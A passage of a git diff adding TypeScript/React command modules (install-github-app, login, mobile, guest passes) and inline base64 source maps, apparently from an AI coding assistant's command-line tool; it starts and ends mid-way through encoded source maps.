yZWZldGNoIGlzIGFscmVhZHkgaW4gZmxpZ2h0LCB0aGlzIGF3YWl0cyBpdC5cbiAgYXdhaXQgcHJlZmV0Y2hGYXN0TW9kZVN0YXR1cygpXG5cbiAgY29uc3QgYXJnID0gYXJncz8udHJpbSgpLnRvTG93ZXJDYXNlKClcbiAgaWYgKGFyZyA9PT0gJ29uJyB8fCBhcmcgPT09ICdvZmYnKSB7XG4gICAgY29uc3QgcmVzdWx0ID0gYXdhaXQgaGFuZGxlRmFzdE1vZGVTaG9ydGN1dChcbiAgICAgIGFyZyA9PT0gJ29uJyxcbiAgICAgIGNvbnRleHQuZ2V0QXBwU3RhdGUsXG4gICAgICBjb250ZXh0LnNldEFwcFN0YXRlLFxuICAgIClcbiAgICBvbkRvbmUocmVzdWx0KVxuICAgIHJldHVybiBudWxsXG4gIH1cblxuICBjb25zdCB1bmF2YWlsYWJsZVJlYXNvbiA9IGdldEZhc3RNb2RlVW5hdmFpbGFibGVSZWFzb24oKVxuICBsb2dFdmVudCgndGVuZ3VfZmFzdF9tb2RlX3BpY2tlcl9zaG93bicsIHtcbiAgICB1bmF2YWlsYWJsZV9yZWFzb246ICh1bmF2YWlsYWJsZVJlYXNvbiA/P1xuICAgICAgJycpIGFzIEFuYWx5dGljc01ldGFkYXRhX0lfVkVSSUZJRURfVEhJU19JU19OT1RfQ09ERV9PUl9GSUxFUEFUSFMsXG4gIH0pXG4gIHJldHVybiAoXG4gICAgPEZhc3RNb2RlUGlja2VyIG9uRG9uZT17b25Eb25lfSB1bmF2YWlsYWJsZVJlYXNvbj17dW5hdmFpbGFibGVSZWFzb259IC8+XG4gIClcbn1cbiJdLCJtYXBwaW5ncyI6IjtBQUFBLE9BQU8sS0FBS0EsS0FBSyxNQUFNLE9BQU87QUFDOUIsU0FBU0MsUUFBUSxRQUFRLE9BQU87QUFDaEMsY0FDRUMsb0JBQW9CLEVBQ3BCQyxzQkFBc0IsUUFDakIsbUJBQW1CO0FBQzFCLFNBQVNDLE1BQU0sUUFBUSwwQ0FBMEM7QUFDakUsU0FBU0MsUUFBUSxFQUFFQyxpQkFBaUIsUUFBUSw4QkFBOEI7QUFDMUUsU0FBU0MsR0FBRyxFQUFFQyxJQUFJLEVBQUVDLEl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Na0MsUUFBUSxHQUFHMUQsaUJBQWlCLENBQUMsSUFBSSxDQUFDO0lBQ3hDLE1BQU0yRCxZQUFZLEdBQUcsQ0FBQzFDLDBCQUEwQixDQUFDYyxhQUFhLENBQUMsR0FDM0QsbUJBQW1CbkIsdUJBQXVCLEVBQUUsR0FDNUMsRUFBRTtJQUNOLE1BQU15QyxPQUFPLEdBQUdqQyxrQkFBa0IsQ0FBQ0MsaUJBQWlCLENBQUMsSUFBSSxDQUFDLENBQUM7SUFDM0QsT0FBTyxHQUFHcUMsUUFBUSxnQkFBZ0JDLFlBQVksTUFBTU4sT0FBTyxFQUFFO0VBQy9ELENBQUMsTUFBTTtJQUNMLE9BQU8sZUFBZTtFQUN4QjtBQUNGO0FBRUEsT0FBTyxlQUFlc0MsSUFBSUEsQ0FDeEJ0RCxNQUFNLEVBQUUzQixxQkFBcUIsRUFDN0I0RCxPQUFPLEVBQUV6RSxzQkFBc0IsRUFDL0IrRixJQUFhLENBQVIsRUFBRSxNQUFNLENBQ2QsRUFBRUYsT0FBTyxDQUFDaEcsS0FBSyxDQUFDbUcsU0FBUyxHQUFHLElBQUksQ0FBQyxDQUFDO0VBQ2pDLElBQUksQ0FBQzdFLGlCQUFpQixDQUFDLENBQUMsRUFBRTtJQUN4QixPQUFPLElBQUk7RUFDYjs7RUFFQTtFQUNBO0VBQ0E7RUFDQSxNQUFNRSxzQkFBc0IsQ0FBQyxDQUFDO0VBRTlCLE1BQU00RSxHQUFHLEdBQUdGLElBQUksRUFBRUcsSUFBSSxDQUFDLENBQUMsQ0FBQ0MsV0FBVyxDQUFDLENBQUM7RUFDdEMsSUFBSUYsR0FBRyxLQUFLLElBQUksSUFBSUEsR0FBRyxLQUFLLEtBQUssRUFBRTtJQUNqQyxNQUFNRyxNQUFNLEdBQUcsTUFBTVQsc0JBQXNCLENBQ3pDTSxHQUFHLEtBQUssSUFBSSxFQUNaeEIsT0FBTyxDQUFDbUIsV0FBVyxFQUNuQm5CLE9BQU8sQ0FBQzdDLFdBQ1YsQ0FBQztJQUNEWSxNQUFNLENBQUM0RCxNQUFNLENBQUM7SUFDZCxPQUFPLElBQUk7RUFDYjtFQUVBLE1BQU0zRCxpQkFBaUIsR0FBR3ZCLDRCQUE0QixDQUFDLENBQUM7RUFDeERULFFBQVEsQ0FBQyw4QkFBOEIsRUFBRTtJQUN2QzRGLGtCQUFrQixFQUFFLENBQUM1RCxpQkFBaUIsSUFDcEMsRUFBRSxLQUFLakM7RUFDWCxDQUFDLENBQUM7RUFDRixPQUNFLENBQUMsY0FBYyxDQUFDLE1BQU0sQ0FBQyxDQUFDZ0MsTUFBTSxDQUFDLENBQUMsaUJBQWlCLENBQUMsQ0FBQ0MsaUJBQWlCLENBQUMsR0FBRztBQUU1RSIsImlnbm9yZUxpc3QiOltdfQ==
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/commands/install-github-app/index.ts b/_all-in-one-upload/cc-haha/src/commands/install-github-app/index.ts
new file mode 100644
index 0000000..9b5b882
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/install-github-app/index.ts
@@ -0,0 +1,13 @@
+import type { Command } from '../../commands.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+
+const installGitHubApp = {
+  type: 'local-jsx',
+  name: 'install-github-app',
+  description: 'Set up Claude GitHub Actions for a repository',
+  availability: ['claude-ai', 'console'],
+  isEnabled: () => !isEnvTruthy(process.env.DISABLE_INSTALL_GITHUB_APP_COMMAND),
+  load: () => import('./install-github-app.js'),
+} satisfies Command
+
+export default installGitHubApp
diff --git a/_all-in-one-upload/cc-haha/src/commands/login/index.ts b/_all-in-one-upload/cc-haha/src/commands/login/index.ts
new file mode 100644
index 0000000..f9bc5a2
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/login/index.ts
@@ -0,0 +1,14 @@
+import type { Command } from '../../commands.js'
+import { hasAnthropicApiKeyAuth } from '../../utils/auth.js'
+import { isEnvTruthy } from '../../utils/envUtils.js'
+
+export default () =>
+  ({
+    type: 'local-jsx',
+    name: 'login',
+    description: hasAnthropicApiKeyAuth()
+      ? 'Switch Anthropic accounts'
+      : 'Sign in with your Anthropic account',
+    isEnabled: () => !isEnvTruthy(process.env.DISABLE_LOGIN_COMMAND),
+    load: () => import('./login.js'),
+  }) satisfies Command
diff --git a/_all-in-one-upload/cc-haha/src/commands/mobile/index.ts b/_all-in-one-upload/cc-haha/src/commands/mobile/index.ts
new file mode 100644
index 0000000..2657aa8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/mobile/index.ts
@@ -0,0 +1,11 @@
+import type { Command } from '../../commands.js'
+
+const mobile = {
+  type: 'local-jsx',
+  name: 'mobile',
+  aliases: ['ios', 'android'],
+  description: 'Show QR code to download the Claude mobile app',
+  load: () => import('./mobile.js'),
+} satisfies Command
+
+export default mobile
diff --git a/_all-in-one-upload/cc-haha/src/commands/passes/passes.tsx b/_all-in-one-upload/cc-haha/src/commands/passes/passes.tsx
new file mode 100644
index 0000000..c17cb59
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/commands/passes/passes.tsx
@@ -0,0 +1,24 @@
+import * as React from 'react';
+import { Passes } from '../../components/Passes/Passes.js';
+import { logEvent } from '../../services/analytics/index.js';
+import { getCachedRemainingPasses } from '../../services/api/referral.js';
+import type { LocalJSXCommandOnDone } from '../../types/command.js';
+import { getGlobalConfig, saveGlobalConfig } from '../../utils/config.js';
+export async function call(onDone: LocalJSXCommandOnDone): Promise<React.ReactNode> {
+  // Mark that user has visited /passes so we stop showing the upsell
+  const config = getGlobalConfig();
+  const isFirstVisit = !config.hasVisitedPasses;
+  if (isFirstVisit) {
+    const remaining = getCachedRemainingPasses();
+    saveGlobalConfig(current => ({
+      ...current,
+      hasVisitedPasses: true,
+      passesLastSeenRemaining: remaining ?? current.passesLastSeenRemaining
+    }));
+  }
+  logEvent('tengu_guest_passes_visited', {
+    is_first_visit: isFirstVisit
+  });
+  return <Passes onDone={onDone} />;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIlBhc3NlcyIsImxvZ0V2ZW50IiwiZ2V0Q2FjaGVkUmVtYWluaW5nUGFzc2VzIiwiTG9jYWxKU1hDb21tYW5kT25Eb25lIiwiZ2V0R2xvYmFsQ29uZmlnIiwic2F2ZUdsb2JhbENvbmZpZyIsImNhbGwiLCJvbkRvbmUiLCJQcm9taXNlIiwiUmVhY3ROb2RlIiwiY29uZmlnIiwiaXNGaXJzdFZpc2l0IiwiaGFzVmlzaXRlZFBhc3NlcyIsInJlbWFpbmluZyIsImN1cnJlbnQiLCJwYXNzZXNMYXN0U2VlblJlbWFpbmluZyIsImlzX2ZpcnN0X3Zpc2l0Il0sInNvdXJjZXMiOlsicGFzc2VzLnRzeCJdLCJzb3VyY2VzQ29udGVudCI6WyJpbXBvcnQgKiBhcyBSZWFjdCBmcm9tICdyZWFjdCdcbmltcG9ydCB7IFBhc3NlcyB9IGZyb20gJy4uLy4uL2NvbXBvbmVudHMvUGFzc2VzL1Bhc3Nlcy5qcydcbmltcG9ydCB7IGxvZ0V2ZW50IH0gZnJvbSAnLi4vLi4vc2VydmljZXMvYW5hbHl0aWNzL2luZGV4LmpzJ1xuaW1wb3J0IHsgZ2V0Q2FjaGVkUmVtYWluaW5nUGFzc2VzIH0gZnJvbSAnLi4vLi4vc2VydmljZXMvYXBpL3JlZmVycmFsLmpzJ1xuaW1wb3J0IHR5cGUgeyBMb2NhbEpTWENvbW1hbmRPbkRvbmUgfSBmcm9tICcuLi8uLi90eXBlcy9jb21tYW5kLmpzJ1xuaW1wb3J0IHsgZ2V0R2xvYmFsQ29uZmlnLCBzYXZlR2xvYmFsQ29uZmlnIH0gZnJvbSAnLi4vLi4vdXRpbHMvY29uZmlnLmpzJ1xuXG5leHBvcnQgYXN5bmMgZnVuY3Rpb24gY2FsbChcbiAgb25Eb25lOiBMb2NhbEpTWENvbW1hbmRPbkRvbmUsXG4pOiBQcm9taXNlPFJlYWN0LlJlYWN0Tm9kZT4ge1xuICAvLyBNYXJrIHRoYXQgdXNlciBoYXMgdmlzaXRlZCAvcGFzc2VzIHNvIHdlIHN0b3Agc2hvd2luZyB0aGUgdXBzZWxsXG4gIGNvbnN0IGNvbmZpZyA9IGdldEdsb2JhbENvbmZpZygpXG4gIGNvbnN0IGlzRmlyc3RWaXNpdCA9ICFjb25maWcuaGFzVmlzaXRlZFBhc3Nlc1xuICBpZiAoaXNGaXJzdFZpc2l0KSB7XG4gICAgY29uc3QgcmVtYWluaW5nID0gZ2V0Q2FjaGVkUmVtYWluaW5nUGFzc2VzKClcbiAgICBzYXZlR2xvYmFsQ29uZmln